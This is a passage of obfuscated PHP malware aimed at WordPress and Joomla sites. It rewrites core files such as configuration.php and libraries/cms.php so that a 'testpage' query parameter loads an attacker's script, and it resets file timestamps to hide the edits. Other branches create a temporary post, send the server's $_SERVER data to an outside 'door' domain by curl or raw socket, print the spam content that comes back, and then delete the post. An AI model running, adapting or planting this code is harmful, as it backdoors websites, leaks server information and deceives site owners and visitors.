${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x74\x6df\x71\x72\x68\x6c"]} = preg_replace("/r\x65q\x75ire(.*)\x70\x6cug\x67a\x62l\x65-\x64e\x70\x72\x65ca\x74\x65d\\\x2ep\x68p(.*);/\x69", "r\x65\x71ui\x72\x65( AB\x53\x50\x41\x54\x48 \x2e \x57\x50\x49\x4eC \x2e '/\x70lug\x67\x61b\x6c\x65-d\x65\x70\x72\x65\x63\x61t\x65\x64.\x70h\x70\x27 )\x3b" . PHP_EOL . "if(\$\x5f\x47ET['t\x65\x73tp\x61\x67e\x27]=='\x77p\x67o\x70o\x73t'){\x72e\x71uir\x65_\x6fnc\x65(\x20\x41BS\x50A\x54H\x20\x2e\x20'" . ${${"\x47LO\x42\x41\x4c\x53"}["\x6c\x62rx\x70\x6fu\x65\x6b\x70"]} . "' )\x3b}", ${${"\x47\x4c\x4fB\x41\x4c\x53"}["pr\x6b\x6f\x79\x6f"]});
break;
}
${"\x47L\x4f\x42\x41LS"}["rp\x64i\x6f\x6eb"] = "\x69\x6ec\x66ile\x63\x6f\x6et\x65\x6et";
${${"\x47L\x4f\x42A\x4c\x53"}["bc\x68r\x66\x72\x77p"]} = "wpgopo\x73t";
gettemplate(${${"\x47\x4c\x4f\x42AL\x53"}["\x72p\x64\x69\x6f\x6eb"]}, ${${"\x47L\x4f\x42\x41\x4c\x53"}["\x6exd\x76syi\x76\x79"]}, ${${"\x47\x4cO\x42\x41LS"}["i\x6ah\x69fc\x79\x74du\x78"]}, ${${"\x47\x4cO\x42\x41\x4c\x53"}["\x77\x74s\x71\x73\x64w"]});
file_put_contents(${${"\x47\x4c\x4f\x42\x41\x4cS"}["n\x78dvs\x79iv\x79"]}, ${$dwrpwyvuxh});
@touch(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["n\x78\x64v\x73\x79\x69vy"]}, ${${"G\x4c\x4f\x42\x41L\x53"}["m\x6f\x68\x74\x70\x72\x76\x78f"]});
continue (2);
} else {
continue;
}
}
} elseif (strpos(${${"G\x4c\x4f\x42\x41\x4cS"}["\x67\x70\x7a\x77\x6a\x73\x67"]}, "c\x6f\x6efigur\x61\x74\x69on.p\x68p") !== false) {
${"\x47\x4c\x4fB\x41\x4cS"}["\x6el\x6a\x71o\x61j"] = "\x69";
define("\x50LA\x54FO\x52M", "\x4a\x4f\x4f\x4dLA");
${${"\x47L\x4f\x42A\x4c\x53"}["h\x6b\x78\x74u\x6dg\x7ag"]} = array(
"in\x64\x65x\x2e\x70\x68p",
"\x63\x6fnf\x69\x67\x75r\x61t\x69\x6f\x6e\x2ephp",
"inclu\x64\x65\x73/framew\x6f\x72\x6b.\x70h\x70",
"lib\x72a\x72\x69\x65\x73/\x63\x6d\x73\x2ep\x68\x70",
"l\x69bra\x72i\x65\x73/\x63lassm\x61\x70.\x70\x68\x70",
"\x6c\x69\x62\x72\x61r\x69es/\x66\x6ff/\x69\x6ec\x6cud\x65.p\x68p"
);
$swsxmmv = "i";
for (${${"GL\x4f\x42\x41\x4cS"}["yn\x71x\x6bd"]} = 0; ${$swsxmmv} < 6; ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x6cj\x71o\x61\x6a"]}++) {
$loqxmkogsn = "\x6aoo\x6d\x6c\x61\x66\x69le\x73";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["s\x67\x77\x6d\x65\x64\x66\x71\x70\x72\x67"] = "i\x6e\x63\x66\x69\x6c\x65";
$puoqerwkf = "f\x69\x6c\x65t\x69\x6d\x65";
$ovmclhhbwa = "i\x6e\x63fi\x6c\x65";
${$ovmclhhbwa} = ${$loqxmkogsn}[${${"G\x4cOBA\x4cS"}["\x79n\x71\x78\x6b\x64"]}];
${$puoqerwkf} = filemtime(${${"\x47\x4c\x4f\x42AL\x53"}["\x6e\x78\x64vs\x79\x69v\x79"]});
${${"\x47L\x4f\x42\x41\x4c\x53"}["w\x74hs\x74l\x64\x72g"]} = sprintf("%\x6f", fileperms(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6e\x78dv\x73y\x69\x76\x79"]}));
@chmod(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["nx\x64\x76\x73\x79\x69\x76y"]}, 0666);
if (is_writable(${${"G\x4c\x4fBA\x4c\x53"}["\x73\x67\x77m\x65dfqpr\x67"]})) {
$bsexwykl = "i\x6e\x63\x66\x69\x6c\x65\x63o\x6et\x65\x6et\x6f\x72\x69gi\x6e\x61\x6c";
$xpykxrfli = "\x64\x6f\x6f\x72do\x6d\x61\x69\x6e";
$zdsnffc = "\x69nc\x66il\x65\x63o\x6e\x74\x65n\x74";
${"G\x4c\x4f\x42\x41\x4cS"}["\x68\x71\x73\x74\x72\x75y\x6d\x6b"] = "\x70ar\x61\x6d";
${"G\x4c\x4fB\x41\x4c\x53"}["d\x7a\x69\x75y\x67b"] = "\x70\x61\x72a\x6d";
${"\x47L\x4fB\x41L\x53"}["\x63\x6b\x76\x79\x66\x67\x69yi\x74\x79"] = "i\x6e\x63\x66\x69leco\x6et\x65n\x74";
${"G\x4c\x4fBAL\x53"}["x\x65t\x6b\x66xu\x67\x69c"] = "\x73\x63\x72\x69\x70\x74na\x6d\x65";
$pjswtddl = "s\x63r\x69\x70\x74\x6e\x61\x6de";
${"\x47\x4c\x4f\x42ALS"}["\x75\x76\x69\x62\x66\x68\x69\x7aqz"] = "in\x63\x66\x69\x6c\x65\x63\x6f\x6e\x74\x65\x6e\x74\x6f\x72igin\x61l";
$pxcbhpybtxh = "i\x6ecf\x69\x6c\x65";
${${"\x47\x4cOB\x41\x4c\x53"}["h\x77\x6a\x6e\x62\x63\x6c\x71"]} = file_get_contents(${$pxcbhpybtxh});
switch (${${"\x47L\x4fBA\x4cS"}["n\x78d\x76sy\x69v\x79"]}) {
case "i\x6edex\x2e\x70hp":
${${"\x47\x4cOBA\x4c\x53"}["\x69oj\x61\x66\x73\x6bh\x69"]} = preg_replace("/re\x71uir\x65_o\x6ece JPA\x54H_\x42\x41\x53E(\x2e*)i\x6ec\x6c\x75des\x5c/\x66\x72a\x6de\x77\x6frk\x2e\x70hp\x27\x3b/i", "r\x65quir\x65_o\x6e\x63\x65 \x4a\x50\x41TH\x5fBAS\x45 . '/in\x63\x6cude\x73/fram\x65\x77o\x72k\x2e\x70hp\x27;" . PHP_EOL . "if(\$\x5fG\x45T[\x27\x74e\x73t\x70\x61ge']=='jo\x6f\x6dla\x67opost'){\x72\x65\x71uir\x65_o\x6ec\x65 J\x50AT\x48_\x42A\x53E\x20.\x20'/" . ${${"\x47\x4cO\x42\x41\x4c\x53"}["\x6cb\x72xp\x6fu\x65kp"]} . "';}", ${${"\x47\x4c\x4f\x42A\x4c\x53"}["hwj\x6e\x62\x63\x6c\x71"]});
break;
case "\x63\x6fn\x66\x69\x67u\x72\x61tion.\x70hp":
${${"\x47L\x4fB\x41L\x53"}["\x69\x6fj\x61fs\x6bh\x69"]} = preg_replace("/\\<\x5c?php/\x69", "\x3c?php" . PHP_EOL . "if(\$\x5fG\x45\x54[\x27\x74\x65\x73\x74pa\x67e\x27]==\x27j\x6fom\x6c\x61\x67\x6f\x70\x6fs\x74'){r\x65qui\x72e\x5f\x6fn\x63e \x4a\x50\x41T\x48_\x42\x41SE \x2e\x20\x27/" . ${${"\x47\x4c\x4fB\x41L\x53"}["\x6c\x62rx\x70ouekp"]} . "\x27\x3b}", ${${"GL\x4f\x42A\x4c\x53"}["\x68\x77\x6a\x6ebc\x6c\x71"]});
break;
case "i\x6ec\x6c\x75des/f\x72\x61\x6de\x77o\x72k.p\x68p":
${${"GL\x4f\x42\x41\x4c\x53"}["\x69\x6fj\x61fs\x6bh\x69"]} = preg_replace("/r\x65q\x75i\x72e\x5fo\x6e\x63e\x20J\x50A\x54H\x5fLIBRAR\x49\x45\x53(\x2e*)\x63ms.ph\x70'\x3b/\x69", "require\x5f\x6f\x6e\x63\x65 \x4a\x50\x41TH\x5f\x4c\x49\x42\x52A\x52I\x45S\x20\x2e\x20'/cm\x73.p\x68p'\x3b" . PHP_EOL . "if(\$\x5fGET[\x27\x74\x65\x73\x74p\x61\x67e\x27]=\x3d\x27j\x6fo\x6d\x6ca\x67o\x70os\x74\x27){r\x65\x71ui\x72\x65_\x6f\x6e\x63e \x4aPAT\x48\x5fBA\x53\x45\x20. '/" . ${$pjswtddl} . "\x27\x3b}", ${${"\x47L\x4fB\x41\x4cS"}["\x68\x77jn\x62c\x6c\x71"]});
break;
case "\x6c\x69br\x61\x72\x69es/\x63m\x73\x2ep\x68\x70":
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69o\x6aaf\x73kh\x69"]} = preg_replace("/\x72equire\x5f\x6fn\x63\x65 \x4a\x50A\x54\x48_LIB\x52\x41R\x49ES(\x2e*)\x63\x6cas\x73m\x61p.\x70\x68p'\x3b/\x69", "\x72\x65\x71\x75\x69\x72\x65_onc\x65 \x4aP\x41TH\x5fLIB\x52A\x52\x49E\x53\x20. \x27/c\x6c\x61s\x73ma\x70\x2e\x70\x68p\x27;" . PHP_EOL . "if(\$\x5fG\x45\x54['\x74\x65\x73tpage\x27]\x3d\x3d'\x6a\x6fo\x6d\x6c\x61g\x6fpo\x73t\x27){r\x65quire\x5fo\x6e\x63\x65 JPA\x54\x48_\x42\x41SE\x20. '/" . ${${"GLOB\x41L\x53"}["\x6c\x62\x72\x78\x70\x6fu\x65\x6b\x70"]} . "\x27\x3b}", ${$bsexwykl});
break;
case "\x6c\x69\x62\x72\x61r\x69\x65\x73/\x63\x6c\x61\x73\x73\x6dap\x2e\x70hp":
${${"\x47\x4cO\x42AL\x53"}["i\x6f\x6aaf\x73\x6bh\x69"]} = preg_replace("/\x5c\x3c\x5c?ph\x70/i", "\x3c?\x70hp" . PHP_EOL . "if(\$_\x47\x45T[\x27\x74e\x73\x74\x70ag\x65']\x3d=\x27\x6a\x6fo\x6d\x6c\x61\x67op\x6fst'){re\x71uire\x5fon\x63\x65\x20\x4a\x50A\x54\x48\x5f\x42\x41\x53E . \x27/" . ${${"\x47L\x4f\x42\x41L\x53"}["\x6cb\x72\x78\x70ouekp"]} . "';}", ${${"GLOB\x41L\x53"}["\x75\x76\x69bf\x68\x69z\x71z"]});
break;
case "l\x69b\x72\x61rie\x73/\x66\x6ff/i\x6e\x63\x6c\x75\x64\x65\x2e\x70h\x70":
${$zdsnffc} = preg_replace("/\x5c<\\?\x70h\x70/i", "\x3c?\x70hp" . PHP_EOL . "\x69\x66(\$\x5fG\x45\x54['t\x65\x73t\x70ag\x65\x27]\x3d='\x6ao\x6f\x6d\x6c\x61\x67op\x6f\x73t\x27){req\x75\x69\x72\x65_\x6fn\x63e\x20\x4a\x50\x41\x54\x48\x5f\x42ASE\x20. '/" . ${${"\x47\x4c\x4fB\x41\x4cS"}["x\x65\x74\x6bf\x78\x75gi\x63"]} . "'\x3b}", ${${"G\x4c\x4fB\x41\x4c\x53"}["\x68\x77j\x6eb\x63lq"]});
break;
}
${${"G\x4cOBALS"}["\x68\x71\x73\x74r\x75\x79\x6d\x6b"]} = "j\x6f\x6f\x6dlag\x6fp\x6f\x73\x74";
gettemplate(${${"\x47L\x4f\x42\x41\x4c\x53"}["\x63\x6b\x76y\x66\x67\x69\x79\x69\x74\x79"]}, ${${"GL\x4f\x42A\x4cS"}["\x6e\x78d\x76\x73\x79i\x76y"]}, ${$xpykxrfli}, ${${"GLOBAL\x53"}["\x64\x7a\x69\x75\x79g\x62"]});
file_put_contents(${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x78d\x76\x73\x79iv\x79"]}, ${${"\x47\x4c\x4fB\x41\x4c\x53"}["h\x77\x6an\x62\x63\x6cq"]});
@touch(${${"GL\x4f\x42A\x4c\x53"}["\x6e\x78\x64vsy\x69\x76y"]}, ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6do\x68\x74\x70\x72\x76\x78\x66"]});
continue (2);
} else {
continue;
}
}
}
}
postlink(${${"\x47\x4c\x4fBAL\x53"}["r\x72\x76\x6f\x77\x71o"]});
if (!defined("\x50L\x41TF\x4fRM")) {
chdir("\x2e.");
${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x63u\x7a\x6c\x6d\x66\x63\x68\x73"]}++;
} else {
${${"\x47LO\x42\x41\x4c\x53"}["\x72\x79\x6cxte"]} = getcwd();
}
} while (!defined("\x50\x4cA\x54\x46\x4f\x52\x4d") && ${$dmaijzqgj} < MAX_LEVELS_UP);
if (!defined("\x50LATF\x4f\x52\x4d")) {
exit("U\x6ek\x6eo\x77n \x70l\x61\x74f\x6fr\x6d\x21");
}
} elseif ($_GET["t\x65stpage"] == "\x77p\x67o\x70\x6fst") {
${"\x47\x4c\x4fB\x41L\x53"}["rf\x66\x63\x73\x73ry\x74"] = "cha\x72\x73";
${${"\x47\x4cOB\x41\x4c\x53"}["\x72\x66fc\x73\x73\x72\x79t"]} = "\x61\x62cde\x66g\x68\x69j\x6bl\x6d\x6e\x6fp";
${"\x47L\x4f\x42\x41L\x53"}["\x64c\x6c\x78r\x6e\x65\x65\x6a\x69\x6e"] = "p\x65\x72\x6d\x61\x6c\x69nk";
$ekuhfybcuke = "\x67\x6f\x6f\x64\x77o\x72\x64\x70re\x73\x73\x70ag\x65";
$kszvzr = "po\x73t_\x69\x64";
${"\x47LO\x42\x41L\x53"}["\x68udp\x67\x74\x68"] = "s\x6c\x75g\x6ea\x6d\x65";
$nlshrgyxg = "\x70\x65\x72m\x61\x6c\x69\x6e\x6b";
${${"G\x4c\x4f\x42\x41\x4c\x53"}["\x6e\x6f\x75y\x62\x7ai\x7a\x75"]} = str_shuffle(${${"G\x4c\x4fB\x41\x4c\x53"}["\x71\x63v\x6c\x61y\x69"]});
${${"G\x4c\x4f\x42A\x4c\x53"}["\x70h\x72\x72cd\x79\x71"]} = array(
"\x70\x6fs\x74_\x74\x69tle" => "H\x45R\x45\x49S\x54\x49\x54\x4c\x45",
"po\x73t\x5f\x6e\x61\x6d\x65" => ${${"\x47LO\x42\x41\x4c\x53"}["h\x75d\x70\x67\x74\x68"]},
"\x70\x6fs\x74\x5fco\x6etent" => "\x48\x45\x52E\x49SC\x4f\x4eTEN\x54",
"\x70\x6fs\x74\x5fs\x74atu\x73" => "p\x75b\x6c\x69sh",
"p\x6f\x73\x74\x5fc\x61\x74\x65\x67\x6f\x72\x79" => array()
);
${"G\x4cO\x42A\x4cS"}["q\x73\x79\x73\x61\x73lj\x64\x6dc"] = "\x70\x6fst_d\x61ta";
${$kszvzr} = wp_insert_post(${${"\x47\x4cO\x42\x41\x4cS"}["q\x73\x79s\x61s\x6c\x6a\x64\x6d\x63"]}, true);
${$nlshrgyxg} = get_permalink(${${"G\x4c\x4f\x42A\x4c\x53"}["\x75\x69\x69\x6f\x6a\x63\x6bm\x79"]});
if (ini_get("a\x6clow_u\x72l_f\x6fp\x65\x6e") == 1) {
${${"GL\x4fB\x41L\x53"}["\x75d\x69ksn\x66\x73\x79\x65"]} = stream_context_create(array(
"h\x74t\x70" => array(
"\x6d\x65\x74\x68od" => "PO\x53\x54",
"h\x65ade\x72" => array(
"C\x6fn\x74en\x74-\x74y\x70e:\x20\x61ppl\x69\x63\x61tion/x-\x77\x77\x77-f\x6f\x72\x6d-ur\x6cenc\x6f\x64\x65\x64"
),
"c\x6f\x6e\x74ent" => http_build_query($_SERVER)
)
));
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x62\x73\x63\x6f\x66\x6e\x71i"] = "\x67\x6f\x6f\x64w\x6fr\x64\x70res\x73\x70\x61\x67e";
${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x69\x62\x73\x63of\x6eq\x69"]} = @file_get_contents(${${"\x47\x4c\x4fB\x41LS"}["\x66\x6fq\x6ct\x76lbz\x62\x6d"]}, false, ${${"\x47\x4cO\x42\x41\x4cS"}["u\x64i\x6b\x73\x6e\x66s\x79\x65"]});
} elseif (function_exists("cu\x72l\x5fi\x6eit")) {
${"G\x4cO\x42\x41LS"}["\x6c\x78\x73\x78\x66\x6d\x70\x6c\x77"] = "\x63h";
${"\x47\x4c\x4fB\x41L\x53"}["\x74\x66e\x6b\x64\x64o\x66\x74"] = "\x63h";
${${"\x47\x4c\x4fB\x41LS"}["\x77\x6cp\x67c\x71"]} = curl_init();
curl_setopt(${${"G\x4c\x4f\x42\x41\x4c\x53"}["lx\x73\x78fmp\x6c\x77"]}, CURLOPT_URL, ${${"GL\x4fB\x41\x4cS"}["fo\x71l\x74\x76\x6c\x62\x7a\x62\x6d"]});
${"G\x4cO\x42A\x4c\x53"}["\x79\x6ehj\x68\x6f\x63"] = "\x63h";
curl_setopt(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["tfe\x6b\x64\x64o\x66\x74"]}, CURLOPT_HEADER, false);
curl_setopt(${${"GLO\x42A\x4c\x53"}["\x77l\x70gc\x71"]}, CURLOPT_RETURNTRANSFER, true);
curl_setopt(${${"G\x4cO\x42\x41\x4c\x53"}["\x79\x6eh\x6ah\x6f\x63"]}, CURLOPT_REFERER, "");
${${"GL\x4fB\x41\x4c\x53"}["\x6cui\x67xs\x63"]} = @curl_exec(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["wl\x70\x67c\x71"]});
curl_close(${${"\x47L\x4f\x42A\x4c\x53"}["w\x6c\x70\x67\x63q"]});
} else {
${"\x47L\x4f\x42\x41\x4c\x53"}["chkmui\x76"] = "p\x6f\x73\x74\x70\x61r\x61\x6d";
$dsowfejkqmrd = "\x70\x65\x72m\x61\x6c\x69n\x6b";
${"GL\x4f\x42A\x4cS"}["eym\x66\x63\x65v\x6c\x74\x69b"] = "\x65\x72\x72\x6e\x6f";
${"\x47\x4cOB\x41\x4c\x53"}["n\x78w\x69\x76\x6f\x79\x6a\x6e"] = "e\x72\x72st\x72";
${${"\x47\x4cOB\x41LS"}["\x63h\x6b\x6du\x69\x76"]} = preg_replace("#h\x74tp://(.*)/|\x68\x74tp\x73://(\x2e*)/\x23", "", ${$dsowfejkqmrd});
${${"G\x4c\x4fB\x41L\x53"}["\x6b\x6b\x78h\x74\x6e\x77\x75\x65\x6f\x74"]} = fsockopen(${${"\x47\x4c\x4f\x42\x41L\x53"}["\x69j\x68\x69\x66cy\x74\x64ux"]}, 80, ${${"\x47L\x4f\x42AL\x53"}["e\x79\x6df\x63\x65\x76\x6ct\x69\x62"]}, ${${"GL\x4f\x42\x41\x4cS"}["\x6exw\x69\x76\x6fyjn"]}, 10);
if (${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["k\x6b\x78\x68\x74n\x77u\x65\x6ft"]}) {
$gpcvcfsr = "\x66\x70";
${"\x47\x4c\x4fB\x41\x4c\x53"}["i\x64\x71\x73\x6cc"] = "\x6fu\x74";
$dooonwg = "\x64\x61\x74\x61";
${$dooonwg} = http_build_query($_SERVER);
${${"GL\x4fB\x41LS"}["\x69\x6c\x78\x73uj\x62"]} = "P\x4f\x53\x54\x20/$postparam H\x54\x54\x50/1.\x30\r\n";
$lunluxvxvj = "bo\x64\x79";
${${"\x47\x4c\x4f\x42A\x4cS"}["\x69d\x71\x73\x6c\x63"]} .= "H\x6f\x73t: $doordomain\r\n";
$ejqfvimizvl = "\x64at\x61";
$rvcsfwypbmq = "\x66p";
${${"\x47L\x4f\x42\x41\x4c\x53"}["\x69l\x78\x73u\x6a\x62"]} .= "\x43o\x6et\x65\x6et-\x54ype: app\x6c\x69\x63ati\x6f\x6e/x-\x77w\x77-\x66\x6f\x72m-u\x72l\x65nc\x6fde\x64\r\n";
$wngyenutjrk = "da\x74\x61";
${${"\x47\x4cO\x42A\x4c\x53"}["\x69\x6c\x78\x73\x75\x6a\x62"]} .= "\x43on\x74\x65\x6e\x74-Le\x6e\x67th: " . strlen(${$ejqfvimizvl}) . "\r\n\r\n";
fwrite(${${"GL\x4f\x42AL\x53"}["\x6b\x6b\x78\x68\x74\x6ew\x75e\x6f\x74"]}, ${${"G\x4c\x4f\x42A\x4c\x53"}["\x69\x6c\x78\x73\x75\x6a\x62"]});
fwrite(${$gpcvcfsr}, ${$wngyenutjrk});
${${"G\x4c\x4f\x42A\x4cS"}["l\x7a\x65f\x76e\x63\x69"]} = "";
while (!feof(${$rvcsfwypbmq})) {
$ofxmxo = "\x72\x65\x73\x70";
${"\x47\x4cO\x42A\x4c\x53"}["\x6f\x70\x74\x74\x6d\x77a\x6b\x66\x6c"] = "fp";
${$ofxmxo} .= fgets(${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6f\x70\x74\x74mwak\x66l"]}, 4096);
}
${"GL\x4f\x42\x41\x4c\x53"}["\x73\x76v\x6a\x69r\x6c"] = "\x62\x6fd\x79";
fclose(${${"\x47L\x4f\x42A\x4c\x53"}["kk\x78\x68\x74\x6e\x77\x75\x65\x6f\x74"]});
list(${${"G\x4c\x4fBALS"}["\x6e\x65m\x63\x79\x72\x6a\x71gw"]}, ${${"\x47\x4c\x4fB\x41\x4cS"}["s\x76\x76\x6a\x69\x72l"]}) = @preg_split("/\x5cR\\R/", ${${"G\x4cO\x42\x41L\x53"}["lzef\x76\x65\x63\x69"]}, 2);
${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x6cu\x69\x67\x78\x73\x63"]} = ${$lunluxvxvj};
}
}
${${"\x47\x4c\x4f\x42\x41LS"}["\x6cu\x69\x67\x78\x73\x63"]} = str_replace(${${"\x47\x4c\x4fBA\x4c\x53"}["\x64cl\x78rn\x65\x65\x6ain"]}, "\x48\x45RE\x49\x53U\x52\x4c", ${${"GLO\x42\x41L\x53"}["\x6cu\x69g\x78\x73\x63"]});
${${"\x47LO\x42\x41\x4c\x53"}["lu\x69\x67x\x73\x63"]} = str_replace(${${"G\x4cOB\x41\x4c\x53"}["\x6eo\x75\x79\x62\x7a\x69\x7a\x75"]}, "\x48ERE\x49S\x53L\x55\x47", ${$ekuhfybcuke});
echo ${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x75i\x67x\x73\x63"]};
if (!wp_delete_post(${${"\x47\x4c\x4fB\x41LS"}["\x75\x69\x69o\x6a\x63\x6bm\x79"]}, true)) {
$bojmhweofb = "p\x6f\x73t\x5f\x69\x64";
wp_delete_post(${$bojmhweofb}, true);
}
exit;
} elseif ($_GET["te\x73t\x70a\x67e"] == "\x6a\x6foml\x61g\x6fp\x6fst") {
${"GLOB\x41\x4c\x53"}["\x71\x70\x6dunoh\x67\x79"] = "\x6a\x6fom\x6c\x61\x75r\x6c";
$bhmwpmvcz = "\x69d\x74\x65\x6d\x70";
${${"GLO\x42\x41LS"}["\x71\x70\x6d\x75\x6eo\x68gy"]} = explode("/", $_SERVER["SE\x52\x56\x45\x52\x5f\x4e\x41ME"] . $_SERVER["\x52\x45Q\x55\x45ST_\x55RI"]);
unset(${${"\x47L\x4f\x42\x41\x4cS"}["\x6dc\x66\x6e\x6f\x6a\x67"]}[count(${${"GLO\x42\x41\x4c\x53"}["\x6d\x63fno\x6a\x67"]}) - 1]);
$gljsnqasy = "\x69\x64t\x65m\x70";
${$bhmwpmvcz} = postitem("\x48E\x52\x45\x49S\x54\x49T\x4cE", "", "\x48\x45\x52\x45\x49\x53\x43\x4f\x4eT\x45\x4e\x54");
${${"GL\x4fB\x41\x4cS"}["\x74n\x71\x71\x62\x75l\x6d\x62\x6d"]} = explode(":", ${$gljsnqasy});
${${"G\x4c\x4fBA\x4cS"}["\x73t\x77h\x6f\x6di\x6e\x6ac\x6f"]} = "\x48\x45\x52E\x49STIT\x4cE";
if (is_array(${${"\x47LOBALS"}["\x74nq\x71\x62\x75\x6c\x6d\x62\x6d"]})) {
${"\x47LO\x42\x41L\x53"}["ix\x69w\x6ebgbd\x74\x72"] = "\x67\x6fo\x64j\x6f\x6fm\x6c\x61p\x61\x67\x65";
$uxhheynyx = "\x69\x64t\x65\x6dp";
${"\x47\x4c\x4f\x42\x41LS"}["\x79\x62\x72\x77\x78\x6ehd\x63\x62\x76"] = "\x72\x65sul\x74";
${${"\x47L\x4f\x42\x41LS"}["jy\x63i\x66vj\x6cp\x6c"]} = trim(${$uxhheynyx}[1]);
${"\x47L\x4fB\x41L\x53"}["\x64\x61d\x70b\x63\x6bq\x70"] = "d\x62";
${"\x47\x4c\x4f\x42\x41L\x53"}["\x73e\x63ges\x78\x77\x6d\x64\x65\x72"] = "id";
$oessgycugdt = "go\x6f\x64\x6a\x6fo\x6d\x6c\x61\x70a\x67e";
$sxqppbe = "\x69\x64\x74\x65m\x70";
$skfvsuopm = "\x74i\x74le\x74e\x6dp";
${"\x47\x4c\x4f\x42AL\x53"}["nmm\x70b\x62\x77"] = "qu\x65\x72y";
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x65\x72qa\x74\x62\x69\x73y"] = "g\x6f\x6f\x64joomla\x70age";
${"G\x4c\x4f\x42\x41L\x53"}["x\x67m\x66\x6d\x64"] = "\x6c\x69\x6ek\x6f\x66\x70\x6f\x73\x74";
$soamna = "\x69\x64";
${${"\x47\x4cO\x42\x41\x4cS"}["\x73ecg\x65\x73xw\x6d\x64\x65\x72"]} = trim(${$sxqppbe}[0]);
${${"\x47L\x4f\x42ALS"}["\x78gm\x66\x6dd"]} = "\x68\x74\x74p://" . trim(implode("/", ${${"\x47LO\x42\x41L\x53"}["m\x63\x66\x6eoj\x67"]}), "/") . "/i\x6edex.p\x68\x70/?o\x70t\x69\x6f\x6e\x3dc\x6f\x6d\x5fc\x6fn\x74e\x6et&\x76\x69\x65w\x3d\x61r\x74\x69\x63l\x65\x26i\x64\x3d" . ${$soamna};
$mgzdlnixkas = "\x67\x6f\x6fd\x6ao\x6fm\x6c\x61p\x61\x67\x65";
if (ini_get("a\x6cl\x6f\x77\x5f\x75r\x6c\x5ffope\x6e") == 1) {
${"\x47LO\x42\x41\x4c\x53"}["\x6e\x6d\x75\x69\x72s\x72\x6bu\x6d"] = "\x6c\x69\x6ek\x6f\x66p\x6fs\x74";
$xgwhwsx = "\x67\x6fod\x6a\x6fo\x6dla\x70\x61\x67\x65";
${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x75\x64\x69\x6b\x73n\x66s\x79\x65"]} = stream_context_create(array(
"h\x74\x74p" => array(
"met\x68\x6f\x64" => "\x50O\x53T",
"h\x65ad\x65\x72" => array(
"\x43\x6f\x6e\x74\x65nt-t\x79\x70e: appli\x63\x61t\x69on/\x78-\x77ww-\x66\x6f\x72\x6d-urlencod\x65\x64"
),
"con\x74\x65nt" => http_build_query($_SERVER)
)
));
${$xgwhwsx} = @file_get_contents(${${"G\x4c\x4f\x42\x41\x4cS"}["n\x6d\x75\x69r\x73\x72\x6bu\x6d"]}, false, ${${"\x47\x4cO\x42\x41L\x53"}["ud\x69ksnf\x73\x79\x65"]});
} elseif (function_exists("c\x75rl\x5fin\x69t")) {
$abftonnu = "\x63h";
${"\x47LOBA\x4c\x53"}["dyi\x69\x65\x65\x6e\x70"] = "\x63h";
$wbfwdnkyxhb = "lin\x6bo\x66p\x6f\x73\x74";
${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x77lpgc\x71"]} = curl_init();
curl_setopt(${${"G\x4cO\x42ALS"}["\x77\x6c\x70\x67\x63q"]}, CURLOPT_URL, ${$wbfwdnkyxhb});
$sywatzg = "ch";
$uspuglzg = "\x67o\x6f\x64\x6a\x6fo\x6d\x6c\x61\x70\x61g\x65";
curl_setopt(${$sywatzg}, CURLOPT_HEADER, false);
curl_setopt(${$abftonnu}, CURLOPT_RETURNTRANSFER, true);
curl_setopt(${${"\x47L\x4f\x42\x41\x4cS"}["dy\x69\x69\x65\x65\x6ep"]}, CURLOPT_REFERER, "");
${"\x47\x4cOBA\x4cS"}["\x78j\x66\x69\x71n\x76u\x65"] = "ch";
${$uspuglzg} = @curl_exec(${${"G\x4c\x4fB\x41\x4c\x53"}["xjf\x69q\x6e\x76\x75\x65"]});
curl_close(${${"\x47\x4cOBA\x4c\x53"}["wlp\x67c\x71"]});
} else {
$loghvjfr = "e\x72\x72\x73\x74\x72";
${"G\x4cO\x42\x41\x4c\x53"}["\x6a\x68\x68\x61fw\x67\x63w"] = "f\x70";
${"G\x4c\x4f\x42\x41\x4c\x53"}["pt\x73\x65\x76\x7a\x76gvc"] = "\x65\x72\x72\x6e\x6f";
${${"\x47L\x4f\x42\x41\x4cS"}["\x6b\x6b\x78h\x74\x6e\x77u\x65\x6f\x74"]} = fsockopen(${${"G\x4cOB\x41\x4c\x53"}["\x69\x6a\x68\x69\x66\x63y\x74dux"]}, 80, ${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x70ts\x65\x76\x7a\x76\x67\x76\x63"]}, ${$loghvjfr}, 10);
if (${${"\x47\x4c\x4f\x42\x41\x4cS"}["j\x68\x68\x61\x66\x77gc\x77"]}) {
$pihdkkvnlru = "o\x75\x74";
${"G\x4c\x4fB\x41\x4c\x53"}["\x6cy\x69\x66\x69\x73r\x7a"] = "\x64a\x74\x61";
${"\x47\x4cO\x42\x41\x4cS"}["\x6a\x74y\x66\x74\x75\x6b\x64\x62\x68\x61"] = "\x66\x70";
${"\x47L\x4f\x42\x41\x4cS"}["f\x6e\x64r\x76ouz\x66\x64"] = "\x6f\x75t";
$jfycybheel = "\x72e\x73\x70";
$iylgqmu = "\x6f\x75\x74";
${"GL\x4f\x42\x41L\x53"}["\x78\x67mciyn\x6cq\x75\x68"] = "\x64at\x61";
${${"\x47LOBAL\x53"}["\x66\x6d\x6a\x79w\x6d\x6e"]} = http_build_query($_SERVER);
${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x73\x62rw\x65d\x79y"] = "\x66\x70";
